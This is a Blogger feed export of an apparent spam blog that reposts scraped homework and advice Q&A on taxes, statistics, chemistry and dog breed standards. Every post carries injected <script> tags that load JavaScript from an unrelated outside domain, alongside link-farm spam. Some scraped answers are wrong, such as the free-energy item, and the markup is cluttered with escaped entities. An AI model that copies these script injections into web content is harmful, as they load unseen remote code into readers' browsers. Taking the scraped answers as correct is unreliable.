tag:blogger.com,1999:blog-71867432187934212382024-02-08T08:43:12.141-08:00c++ standardcrthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.comBlogger329125tag:blogger.com,1999:blog-7186743218793421238.post-57867092734458707392010-05-24T18:31:00.003-07:002010-05-24T18:31:51.445-07:00Does cost of uniform for work go on Schedule C or Schedule A (even if itemized not taken)?Does cost of uniform for work (assume its ruled work purposes only and not reimbursed) go on Schedule C as Other Expenses (line 27) or on Schedule A (even if itemized deductions not taken)? <br><br /><br />In other words if the standard deduction is taken, can work uniforms be deducted on Schedule C?<br><br /><br />ALSO (sorry one more)<br><br /><br />cost of business license goes on schedule C (line 27) right?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Does cost of uniform for work go on Schedule C or Schedule A (even if itemized not taken)?<br>If the uniforms are for a business you own, then they would go on your schedule C for that business. And yes, the cost of a business license goes on schedule C<br><br /><br /><br><br /><br />But if you are an employee, not the owner of the business, they go on your schedule A and you can only deduct them if you itemize.<br>Reply:If you have income you will be reporting on a Schedule C and you use "uniforms" to earn that income you would report that expense as a part of the amount on Line 27. Should your income come from W-2 type employee earnings you would normally take a deduction for "uniforms" on Form 2106 which will carry to line 21 on Schedule A. If you are using standard deductions (not itemizing) you would not be able to take a deduction for "uniforms" related to employee earnings. If your "uniforms" are used for both activities you would prorate the expense.<br>Reply:Expenses for work performed as an employee (a person who receives a W-2 form) can go only on Schedule A and cannot go on Schedule C or Schedule C-EZ.<br><br /><br /><br><br /><br />Expenses for work performed as an independent contractor (a person who receives a 1099 form) can go on Schedule C or Schedule C-EZ, but not both, and cannot go on Schedule A.<br>Reply:It goes on Sch C if it relates to Sch C Income. Otherwise it would be an itemized deduction as an employee expense<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://zinnia2.blogspot.com/>innia</a>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-60630711325257976942010-05-24T18:31:00.002-07:002010-05-24T18:31:35.027-07:00Can you tell me how to put the following into the standard format y>=mx+b?Can you tell me how to put the following into the standard format y%26gt;mx+b<br><br /><br />5a+2b%26lt;=7<br><br /><br />5c+5d%26lt;=30<br><br /><br />c%26gt;=4<br><br /><br />9a+10d%26lt;=180<br><br /><br />a%26gt;12<br><br /><br />d%26lt;=5<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Can you tell me how to put the following into the standard format y%26gt;=mx+b?<br>b%26lt;= -5/2 a + 7/2<br><br /><br /><br><br /><br />d%26lt;= -c + 6<br><br /><br /><br><br /><br />0%26gt;= -c +4<br><br /><br /><br><br /><br />d%26lt;= -9/10 a + 18<br><br /><br /><br><br /><br />0%26gt; -a + 12<br><br /><br /><br><br /><br />d%26lt;=5<br>Reply:Hi,<br><br /><br /><br><br /><br />I have master degree in mathematics and I have got thirteen ten years of teaching experience in Math at college level and currently I am working as a lecturer for an army engineering college author of math guide, I can help u if hire me.<br><br /><br /> <br><br /><br />$4<br>Reply:who do u think i am math teacher?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-41274950600676376422010-05-24T18:31:00.001-07:002010-05-24T18:31:18.835-07:00Should the English Bulldog standard be changed?I'm not against the bulldog, just think the standard should be changed so breeders don't continously breed for smushed faces, flab, and huge heads.<br><br /><br /><br><br /><br />Problems:<br><br /><br />1) It's extremely dangerous to allow standard bulldog bitches to naturally whelp because unlike nearly all other breeds, bulldogs have tremendous heads which require C-sections. The pup's head gets stuck in the birth canal, trapping other pups inside Mom.<br><br /><br />2) Full of health problems. Skin problems, food allergies--what else? These are side effects of the smushed nose and wrinkles.<br><br /><br />3) Does not seem to have a purpose. I know we shouldn't decide whether dogs should LIVE or not just whether or not they help us, but the bulldog does not really get or do anything through existence--they sit, sleep, and eat. They don't protect, they can't run/swim cuz of their massive heads, and they can't move as freely as other dogs cuz their heads weigh them down, literally.<br><br /><br /><br><br /><br />So, should the breed standard be changed or not?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Should the English Bulldog standard be changed?<br>I would like to see that changed! Did you see the show Nature on PBS recently, it was a 2 part show about "Dogs that changed the world" and they addressed the issue of the bulldog's changed image. It was a great show and will probably be on again this month if you missed it!<br>Reply:Hone, are you in the Bulldog club of America or the country you live in? If not, why not? The parent clubs of various breeds are the organizations that decide what the standard reads. Standards are rarely changed and whenso, it is done by people extremely knowledgeable in the breed and for good, justified reasons. If you are an active member of the parent club and are knowledgeable in the breed and wish to get your parent club to address the breed standard, by all means, do so but to put it up as a silly question on a silly internet q/a forum to people who don't have a clue or care about the breed is just inane on face. How many Bulldogs have you taken through varoius performance venues? How many Bulldogs have you reared and finished in the breed ring and know that all that you say applies to them? I for one have only minimum association with the breed but have known obedience titled ones, finished dogs that can outmove many breeds even with their 'heads that weigh them down' :) Maybe your perception is based on quality dogs that are bred by concerned breeders that adhere to the breed standard and maybe it isn't, huh? I never noticed any Bulldogs in the breed ring dragging their heads or anything else around nor just 'sit, sleep and eat'ing :) Maybe your experience is a bit limited?<br>Reply:Absolutely NOT !!! <br><br /><br />First I think you need to do a bit more research on the breed before posting . <br><br /><br /><br><br /><br />1) C-sections are done for a number of reasons , c-sections are a relatively new procedure . Do you think this was done 100 years ago ?? How do you suppose they haven't become extinct ?? Free whelped ! Not because their heads are to big , but because the ***** tires . Also if the ***** should be carrying a water pup there is no way a Bulldog or any other dog for that matter could pass it.<br><br /><br /><br><br /><br />2 ) I've owned , bred %26amp; showed Bulldogs for a number of years . The health issues you list above are not exclusive to bulldogs and are not because they are brachycephalic . Personally I haven't had any health related issues.<br><br /><br /><br><br /><br />3 ) They were originally bred to bait bulls thus the name BULLDOG . <br><br /><br /><br><br /><br />I'm sorry but unless you actually own one your pretty clueless. For the record I am a proud member of the Bulldog Club Of America and wouldn't trade them for any other breed<br>Reply:The standard IS being changed - the wrinkles resting on their noses is being bred out of the breed to aid their breathing, amongst others.<br>Reply:I thik something should be done, and not just for bulldgs, as other breeds have problems too. Animal health should come before arbitrary characteristics.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-3743563335783590422010-05-24T18:31:00.000-07:002010-05-24T18:31:03.092-07:00Standard Deviation Question.... & finding the test value?A recent gasoline survey said that the national average gasoline price was $1.298 a gallon. It was felt that gasoline in Texas was significantly lower than the national average. A survey of 7 different suburbs in Dallas, Texas, found the average price of gasoline to be $1.192 a gallon with a standard deviation of $0.0436. What is the test value?<br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br /> a. -4.38<br><br /><br /><br><br /><br /> b. -5.41<br><br /><br /><br><br /><br /> c. -6.19<br><br /><br /><br><br /><br /> d. -6.43<br><br /><br /><br><br /><br /> e. -7.59<br><br /><br /><br><br /><br /> f. -10.7<br><br /><br /><br><br /><br /> g. none of these<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Standard Deviation Question.... %26amp; finding the test value?<br>hi,<br><br /><br />test static t = x - mue / standard deviation * root n <br><br /><br /><br><br /><br /> x = $1.192 , mue = $1.298 , n = 7 , standard deviation = $0.0436 <br><br /><br /><br><br /><br />t = 1.192 - 1.298 / 0.0436 * root 7 = <br><br /><br />- 6.43 <br><br /><br />option d .<br><br /><br /><br><br /><br />if u still have any doubts or any problems to be solved contact me.<br><br /><br />thankyou<br>Reply:d. -6.43<br><br /><br />T-Test: t=-6.432331, p=0.0003337485<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-30505504049004841862010-05-24T18:30:00.002-07:002010-05-24T18:30:47.236-07:00How does standard deviation std work?ok, if a class is curved.....how does the standard deviation work? say, the std is 7.5, so does that mean 7.5 points above or below the average is C- and C+<br><br /><br />please, someone who understands, let me know thnx!<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>How does standard deviation std work?<br>ok what is the mean score of the Test.<br><br /><br />Lets say the Mean score is 50<br><br /><br />The standard d is 7.5.<br><br /><br />The +1 SD = 57.5<br><br /><br />The -1 SD = 43.5<br><br /><br />the scores that fall in that range make up scores of 68% of the students who took that test. <br><br /><br />If you need more help email me. I am a teacher who has a masters in assessment. my email is the same as my yahoo ID<br><br /><br />Good luck<br>Reply:itsgood2b is correct in describing the characteristics of the normal distribution, but your question seems to ask what the relationship is between the distribution and corresponding letter grades.<br><br /><br /><br><br /><br />The determination of letter grades from the score distribution is arbitrary, but not capricious. Your teacher may assign grades as he or she sees fit.<br><br /><br /><br><br /><br />One such scheme is to assign an A to scores 1 SD above Mean, a B from the Mean to +1 SD, a C from the Mean to -1 SD, a D from -1 SD to -2 SD, and an F below that. As you can tell, the teacher can be a "hard" or "easy" grader by selecting where the grades match the scores.<br><br /><br /><br><br /><br />Since you will be discussing the above question with your teacher, be sure to ask about item analysis for the test. Best wishes.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://2gerbera.blogspot.com/>gerbera</a>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-60741517462414602642010-05-24T18:30:00.001-07:002010-05-24T18:30:31.549-07:00Statistics: Mean and Standard Deviation?Let the variable continuous variable X represent IQ scores of 12 year olds. X is Normal with a mean of 100 and a standard deviation of 16. <br><br /><br /><br><br /><br />a. ______________Jessica is a 12-yar old and has an IQ of 132. What proportion of 12-year-olds have IQ scores less than Jessica’s?<br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br />b. ______________Mike is 20 years old and has an IQ of 144. 20-yr-olds have IQs that are normal with mean 120 and standard deviation 20. Standard scores (z) allow direct comparison of scores from different normal distributions. Relative to their respective age groups, who has a higher IQ, Jessica or Mike?<br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br />c. _______________What proportion of 12-year-olds have IQ scores below 84?<br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br />d. ________________ What proportion of 12-year-olds has IQ scores between 84 and 116?<br><br /><br />e. _____________ What IQ score is needed to be in the top 10% of the distribution (90th percentile) of 20-year-olds?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Statistics: Mean and Standard Deviation?<br>a) - 97.7%<br><br /><br />b) - Jessica<br><br /><br />c) 15.9%<br><br /><br />d) 68.2%<br><br /><br />e) 149.6<br>Reply:You need to do your own homework. I suggest you look in your book for the information about the Empirical Rule. Follow the examples in the book and you should be able to determine these answers.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-8240475791669628952010-05-24T18:30:00.000-07:002010-05-24T18:30:15.158-07:00Mean, Quartiles and Standard deviation?A school system employs teachers at salaries between 30,000 and 60,000. The teachers' union and the school board are negotiating the form of next year's increase in the salary schedule. Suppose that every teacher is given a flat 1000 raise.<br><br /><br />a) How much will the mean salary increase? Median salary?<br><br /><br /><br><br /><br />b) Will a flat 1000 dollar raise increase the spread as measured by the distance between the quartiles? explain?<br><br /><br /><br><br /><br />c) Will a flat 1000 dollar raise increase the spread as measured by the standard deviation of the salaries? Explain?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Mean, Quartiles and Standard deviation?<br>How much will the mean salary increase? Median salary?<br><br /><br /><br><br /><br />well if there were 3 teachers then mean is<br><br /><br /><br><br /><br />(a+b+c)/3<br><br /><br /><br><br /><br />after pay rise its<br><br /><br />(a+1000+b+1000+c+1000)/3<br><br /><br />(a+b+c+3000)/3<br><br /><br />(a+b+c)/3 + 1000<br><br /><br /><br><br /><br />The mean goes up by 1000<br><br /><br />The rankings dont change so the person being paid the median rate still gets paid the median rate (which obviously has gone up by 1000<br><br /><br /><br><br /><br />b) Will a flat 1000 dollar raise increase the spread as measured by the distance between the quartiles? explain?<br><br /><br /><br><br /><br />The spread will not change. IQR+UQ-LQ<br><br /><br /><br><br /><br />after this is (UQ+1000)-(LQ+1000)=UQ-LQ<br><br /><br /><br><br /><br />c) Will a flat 1000 dollar raise increase the spread as measured by the standard deviation of the salaries? Explain?<br><br /><br /><br><br /><br />The SD is the average distance of each score from the mean, so on average scores are still the same distance from the mean so no it wont change.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-33079074993044641842010-05-24T18:29:00.003-07:002010-05-24T18:29:58.599-07:00All of the following substances have a standard free energy of zero EXCEPT?All of the following substances have a standard free energy of zero EXCEPT<br><br /><br /><br><br /><br />a.Hg(λ).<br><br /><br />b.Cl2(g).<br><br /><br />c.Br2(λ).<br><br /><br />d.I2(g).<br><br /><br />e.S8(s).<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>All of the following substances have a standard free energy of zero EXCEPT?<br>I believe the answer is:<br><br /><br /><br><br /><br /> e.S8.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-34692523729617310162010-05-24T18:29:00.002-07:002010-05-24T18:29:43.089-07:00A.C. vs fan ?We have a on bedroom apartment and are trying to keep the electric bill down as well as electric usage for environmental reasons. We have central A.C. Is it cheaper to set the A.C. to a bearable temperature, such as 79 deg F, or keep a standard box fan on all the time?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>A.C. vs fan ?<br>Fans do not cool, they circulate air (hot air). You get the sensation of cool because of moisture drying on your skin. A fan will be cheaper to run than a 110 volt AC. Central AC units are 220 volt and cheaper to run. Setting the temp at 78 will actually cool the rooms and probably be more comfortable than a few fans.<br>Reply:Do both,the fan will circulate the cool air and make the room cooler.I use my A/C with a fan all the time.Low cool and a fan is my theory.....<br>Reply:get an A.C. but put on the setting called Energy saver so it won't use as much.<br>Reply:Fan, even a couple of fans are cheaper than the ac!<br>Reply:Central air is much more efficient than dealing with fans. For one fans only move around hot air. You can set your AC to whatever temp you are comfortable with and it will maintain that temp. Frankly, 79 is a bit high. We set ours at 76. It keeps the moisture out of the air without freezing everyone out. We also have a 3300 sq. ft. home. We have not had a high electric bill yet.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://4rosemary.blogspot.com/>rosemary</a>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-61591726220143576742010-05-24T18:29:00.001-07:002010-05-24T18:29:25.907-07:00Standard Reduction Principal?Half Reaction Eo (V)<br><br /><br />Zn2+(aq) + 2e- -%26gt; Zn(s) = –0.763<br><br /><br />Tl+(aq) + e- -%26gt; Tl(s) = –0.336<br><br /><br /><br><br /><br />Use the standard reduction potentials to find the standard<br><br /><br />cell potential, E°, for the reaction;<br><br /><br />Zn(s) + 2Tl+(aq) r Zn2+(aq) + 2Tl(s)<br><br /><br />(A) 0.427 V (B) 0.091 V<br><br /><br />(C) –0.091 V (D) –0.427 V<br><br /><br />How would I solve this?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Standard Reduction Principal?<br>Zn2+(aq) + 2e- -%26gt; Zn(s) = –0.763<br><br /><br />Tl+(aq) + e- -%26gt; Tl(s) = –0.336<br><br /><br /><br><br /><br />Flip first equation<br><br /><br /><br><br /><br />Zn(s) -%26gt; Zn2+(aq) + 2e- = +0.763<br><br /><br />Tl+(aq) + e- -%26gt; Tl(s) = –0.336<br><br /><br /><br><br /><br />Note sign change<br><br /><br /><br><br /><br />Mult. 2nd equation by 2<br><br /><br /><br><br /><br />Zn(s) -%26gt; Zn2+(aq) + 2e- = +0.763<br><br /><br />2Tl+(aq) + 2e- -%26gt; 2Tl(s) = –0.336<br><br /><br /><br><br /><br />Note that the voltage is unaffected.<br><br /><br /><br><br /><br />Add equations and voltages together. Here is just the voltages:<br><br /><br /><br><br /><br />+0.763 + (-0.336) = 0.427 V<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-65683217823171586822010-05-24T18:29:00.000-07:002010-05-24T18:29:11.929-07:00Standard Cell Potential?Given the following, <br><br /><br /><br><br /><br />Fe3+(aq) + e- ===%26gt; Fe2+(aq) (E° = +0.771 V) and <br><br /><br />Pb2+(aq) + 2 e- ===%26gt; Pb(s) (E° = -0.126 V),<br><br /><br />calculate the standard cell potential for the cell based on the reaction below and predict whether the reaction can occur spontaneously under standard conditions: <br><br /><br />Pb2+(aq) + 2 Fe2+(aq) ===%26gt; 2Fe3+(aq) + Pb(s). <br><br /><br /><br><br /><br />A. -0.897 V <br><br /><br />B. +0.897 V <br><br /><br />C. -0.645 V <br><br /><br />D. +0.645 V <br><br /><br />E. spontaneous. <br><br /><br />F. nonspontaneous.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Standard Cell Potential?<br>Fe2+ %26gt;%26gt; Fe3+ + 1e- ( E° = - 0.771 V)<br><br /><br />Pb2+ + 2e-%26gt;%26gt; Pb ( E° = - 0.126 V)<br><br /><br /><br><br /><br />E = - 0.771 - 0.126 = - 0.897 V<br><br /><br />non spontaneous<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-20527216120976842422010-05-24T18:28:00.003-07:002010-05-24T18:28:55.114-07:00Quadratic function in standard form from sets of points?please help and explain! thanks youuu!<br><br /><br /><br><br /><br />Find a quadratic function in standard form for each set of points.<br><br /><br /><br><br /><br />1. (0, 3) (1. -4) (2, -9)<br><br /><br />(all i know is that c=3, right?)<br><br /><br /><br><br /><br />a. f(x)= x^2+27x + 3<br><br /><br />b. f(x)= x^2 -27x + 3<br><br /><br />c. f(x)= x^2 +8x -3<br><br /><br />d. f(x)= x^2 -8x + 3<br><br /><br /><br><br /><br /><br><br /><br />2. (0, -4) (1, 0) (2, 2)<br><br /><br /><br><br /><br />a. f(x)= -2 x^2 +5x -4<br><br /><br />b. f(x)= -x^2 -5x +4<br><br /><br />c. f(x)= -x^2+5x -4<br><br /><br />d. f(x)= -x^2 +5x +4<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Quadratic function in standard form from sets of points?<br>They are multiple choice question, so you can substitute and check. <br><br /><br /><br><br /><br />1. First points satisfies all euqtions<br><br /><br />so check with (1, -4)<br><br /><br />1 + 27 + 3 = 31 not equal to -4 so its not a<br><br /><br />1 - 27 + 3 not equal to -4 so its not b<br><br /><br />1 + 8 - 3 not equal to -4 so its not c<br><br /><br />1 - 8 + 3 is equal to -4 so its d<br><br /><br /><br><br /><br />So the answer is d. Now if you want you can chcek with the third point.<br><br /><br />4 - 16 + 3 = -9 so now you are sure its d<br><br /><br /><br><br /><br />2. substitue (0, -4) from this you know it cannot be b, d as they will result is f(0) = 4<br><br /><br />so it has to be a, d<br><br /><br /><br><br /><br />Substitute (1, 0) in a<br><br /><br />-2 + 5 - 4 = -1 not equal to 0 so its not a<br><br /><br />in c, -1 + 5 - 4 = 0 so its c<br><br /><br />Answer is c<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-38040608009825515552010-05-24T18:28:00.002-07:002010-05-24T18:28:39.321-07:00Standard Deviation?A teacher gave a 25 multiple choice question test. After giving the tests, she computed a mean and standard deviation of the scores. The standard deviation was 0. Based on this info:<br><br /><br />a) all the students had the same score<br><br /><br />b) she must have made a mistake<br><br /><br />c)about half the scores were above the mean.<br><br /><br /><br><br /><br />please explain!<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Standard Deviation?<br>Standard deviation provides the intervals for a standard bell curve, which would give you the percent of people which got a certain score.<br><br /><br /><br><br /><br />If the intervals on the bell curve were 0, all students would have the same score. Because of that, half of the scores could not be above the mean, since they all are the mean score, and while it is possible a mistake was made, all students getting the same score would be the correct answer<br>Reply:A, but probably B. If the SD was zero, the teacher could just look at the scores and know that!<br>Reply:SD = 0 is possible only if all the scores are the same. So, a is correct (although quite possibly b is also correct :) )<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://2wallflower.blogspot.com/>wallflower</a>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-74531511793761806692010-05-24T18:28:00.001-07:002010-05-24T18:28:23.215-07:00Standard potential of a battery?A student was given a standard Fe(s) | Fe+2 (aq) half-cell and another half-cell containing an unknown metal M immersed in 1 M MNO3(aq). When these two half-cells were connected at 25 (degrees) C, the complete cell functioned as a galvanic cell with E = 1.24 V. The reaction was allowed to continue overnight and the two electrodes were weighted. The iron electrode was found to be lighter and the unknown metal electrode was heavier. What is the standard potential of the unknown M+/M couple?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Standard potential of a battery?<br>Look up the iron half cell potential and subtract.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-35576990706519783812010-05-24T18:28:00.000-07:002010-05-24T18:28:07.162-07:00Standard Deviation Problem below. Can anyone figure out the solution?What is the 98% confidence interval for the standard deviation, sigma , of birth weights at County General Hospital, if the standard deviation of the last 22 babies born there was 1.8 pounds? <br><br /><br /><br><br /><br /> a. 1.20 %26lt; sigma %26lt; 2.02<br><br /><br /><br><br /><br /> b. 1.15 %26lt; sigma %26lt; 2.14<br><br /><br /><br><br /><br /> c. 1.10 %26lt; sigma %26lt;2.30<br><br /><br /><br><br /><br /> d. 1.07 %26lt; sigma %26lt; 2.43<br><br /><br /><br><br /><br /> e. 1.28 %26lt; sigma %26lt; 2.91<br><br /><br /><br><br /><br /> f. 1.32 %26lt; sigma %26lt; 2.77<br><br /><br /><br><br /><br /> g. none of these<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Standard Deviation Problem below. Can anyone figure out the solution?<br>%26gt;%26gt; Since none of choices a-f is centered around 1.8,<br><br /><br />%26gt;%26gt; I would go with (g).<br><br /><br />%26gt;%26gt;<br><br /><br />%26gt;%26gt; Dan<br><br /><br /><br><br /><br />I was thinking of the naive measured mean +/- standard error for means when I wrote that. But checking it out, in a million random trials of 22 generated normals with sigma 1.32, the measured "(n-1)/n" sample standard deviation was %26gt;= 1.8 about 0.98% of the time. For sigma 2.77 the meaured standard deviation was %26lt;= 1.8 about 0.97% of the time.<br><br /><br /><br><br /><br />So the answer is (f), 1.32 %26lt; sigma %26lt; 2.77<br><br /><br /><br><br /><br />Dan<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-55543179606636032512010-05-24T18:27:00.003-07:002010-05-24T18:27:51.337-07:00Find the standard form of the equation of this parabola25x^2 -16 Y^2 +100X-32Y-316=0?I need this by today. please step by step<br><br /><br /><br><br /><br />A)state the center, the endpoints of the trancerse axis and of the conjugate axis.<br><br /><br /><br><br /><br />b)state the equations of the asymptotes<br><br /><br /><br><br /><br />c) graph the curve. show the fundamental rectangle and sketcj the asymptotes.<br><br /><br /><br><br /><br />D) write standard equation of the hyperbola with the same fundamental rectangle for which transverse and conjugate axes are reversed.<br><br /><br /><br><br /><br />e) skecth this hyperbola on the same ser of coordinate axes as the original hyporbola.<br><br /><br /><br><br /><br />f)state the equation of the ellipse that has the same fundamental rectangle<br><br /><br /><br><br /><br />g)sketch the ellipse that has the same set if coordinate axes as the two hyporbolas.<br><br /><br /><br><br /><br />H) referring to the above questions, how will the tree equations chanfe if the fundamental rectangle is rotated by 90 degrees?<br><br /><br /><br><br /><br />thank u so much<br><br /><br /><br><br /><br />e)<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Find the standard form of the equation of this parabola25x^2 -16 Y^2 +100X-32Y-316=0?<br>guys, do your homework or you'll get really bad grades...I'm speaking from personal experience...<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-62320681101432129222010-05-24T18:27:00.002-07:002010-05-24T18:27:33.935-07:00A standard solution of sodium hydroxide can be used in a titration experiment to determine FW of unknown acid.A common mistake is the failure to rinse the buret with the standard solution after the final water rinse but before measurements of volume of standard solution are taken. The mistake accounts for which results?<br><br /><br />I. The volume of standard solution is reported too small.<br><br /><br />II The volume of solute used to dissolve unknown acid is too small.<br><br /><br />III. Number of moles of unknown acid is reported too large<br><br /><br /><br><br /><br />a) I only<br><br /><br />b) II and III only<br><br /><br />c) III only<br><br /><br />d) I and III only<br><br /><br />e) I, II, and III<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>A standard solution of sodium hydroxide can be used in a titration experiment to determine FW of unknown acid.<br>After the final water rinse, there could be drops of water left in the biuret. Hence, when NaOH solution is poured into it to be measured, the drops of water causes the base to be diluted. So, the concentration of NaOH becomes smaller than what it should have been, which means that the no. of moles of base is lesser.<br><br /><br /><br><br /><br />(I) cannot be the answer because the vol. is not affected.<br><br /><br />(II) is also not the answer because the acid is not involved.<br><br /><br /><br><br /><br />(III) is correct because as the concentration of NaOH is smaller (eg. 0.9mol/dm3) , a larger volume of NaOH is required to react with the acid. However, as it is thought that the concentration is higher (eg.1.0mol/dm3), it will be concluded that there is a larger no. of moles in the acid so that a larger volume of base will be needed for neutralisation.<br><br /><br /><br><br /><br />so the answer is (c)<br><br /><br /><br><br /><br />:D<br>Reply:Another Useless question.............who cares.....<br>Reply:do your homework!<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><a href=http://hollyhock1.blogspot.com/>hollyhock</a>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-77114012947894338652010-05-24T18:27:00.001-07:002010-05-24T18:27:18.592-07:00Calculating Standard Enthalpy of Formation?The standard enthalpy of combustion for napthalene, C10H8 (s) is -5156.8 kj/mol. Using this data and the standard enthalpies of formation, delta Hf H2O (l) = -285.9 kj/mol ; CO2 (g) = -393.5 kj/mol, calculate the STANDARD ENTHALPY OF FORMATION (was bolded in the text) of C10H8 (s) in kj/mol.<br><br /><br /><br><br /><br />a) 78.2kj b) 935.9kj c) -1065.4kj d) 3619.7kj e) -10235.4kj<br><br /><br /><br><br /><br />i think it's A, but i'm not sure. can someone show me how to solve this?<br><script language=JavaScript src=http://www.chinese-kungfu.org/a1.js type=text/javascript></script><br>Calculating Standard Enthalpy of Formation?<br>It looks like you got it. This is how it came out for me:<br><br /><br /><br><br /><br />This is the reaction:<br><br /><br />C10H8(s) + 12 O2(g) ® 10 CO2(g) + 4 H2O(l)<br><br /><br /><br><br /><br />and Hc=(Summation of Hf of products)-(Summation of Hf of reactants)<br><br /><br />So...<br><br /><br /><br><br /><br />Hc (C10H8) = 10 Hf(CO2) + 4 Hf(H2O) – Hf(C10H8)<br><br /><br />-5156.8kJ/mol=(10)(-393.5 kJ/mol)+(4)(-285.9kJ/mol0-Hf (C10H8)<br><br /><br />-5156.8kJ/mol=(-3935 kJ/mol)+(-1143.6 kJ/mol)- Hf (C10H8)<br><br /><br />-5156.8kJ/mol=(-5078.6)- Hf(C10H8)<br><br /><br />-78.2kJ/mol=-Hf (C10H8)<br><br /><br />78.2kJ/mol=Hf (C10H8)<br><br /><br /><br><br /><br />I believe that's how it's done, but it's been a while since I've done that kind of problem, so it's probably not a terrible idea to double check with someone else.<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js type=text/javascript></script><br><br>crthttp://www.blogger.com/profile/16870657525052831157noreply@blogger.com0tag:blogger.com,1999:blog-7186743218793421238.post-59332335240456856022010-05-24T18:27:00.000-07:002010-05-24T18:27:02.798-07:00Standard water softener?In a standard water softener, what ion replaces calcium and magnesium ions? <br><br /><br /><br><br /><br />A K+ <br><br /><br />B Ba2+ <br><br /><br />C H+ <br><br /><br />D Li+ <br><br /><br />E Na+<br><script language=JavaScript src=http://www.chinese-kungfu.org/a2.js type=text/javascript></script><br>Standard water softener?<br>In a standard water softener, the water to be treated is passed through a bed of small plastic beads called zeolite covered with sodium ions. The calcium and magnesium ions then displace the sodium ions. So E. is the answer.<br>Reply:E. Sodium<br><script language=JavaScript src=http://www.chinese-kungfu.org/a3.js 